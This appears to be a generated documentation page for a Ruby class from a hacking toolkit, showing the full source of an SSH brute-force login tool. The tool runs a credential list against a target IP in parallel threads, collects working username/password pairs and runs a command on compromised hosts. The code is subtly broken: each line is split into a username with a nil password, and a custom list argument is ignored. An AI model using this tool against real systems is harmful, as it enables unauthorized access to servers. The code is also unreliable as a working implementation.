Class: Snackhack2::SSHBute

Inherits:
Object
  • Object
show all
Defined in:
lib/snackhack2/sshbrute.rb

Instance Method Summary collapse

Constructor Details

#initialize(ip, list: nil) ⇒ SSHBute

Returns a new instance of SSHBute.



6
7
8
9
10
# File 'lib/snackhack2/sshbrute.rb', line 6

def initialize(ip, list: nil)
  @ip = ip
  @list = list
  @success_list = []
end

Instance Method Details

#brute(username, pass) ⇒ Object



24
25
26
27
28
29
30
# File 'lib/snackhack2/sshbrute.rb', line 24

def brute(username, pass)
  Net::SSH.start(@ip, username, password: pass, timeout: 1) do |ssh|
    @success_list << [username, pass]
    ssh.exec!('hostname')
  end
rescue Net::SSH::AuthenticationFailed
end

#listObject



12
13
14
# File 'lib/snackhack2/sshbrute.rb', line 12

def list
  File.join(__dir__, 'lists', 'sshbrute.txt')
end

#runObject



16
17
18
19
20
21
22
# File 'lib/snackhack2/sshbrute.rb', line 16

def run
  threads = []
  File.readlines(list).each { |usr, pass| threads << Thread.new { brute(usr, pass) } }
  threads.each(&:join)

  p @success_list
end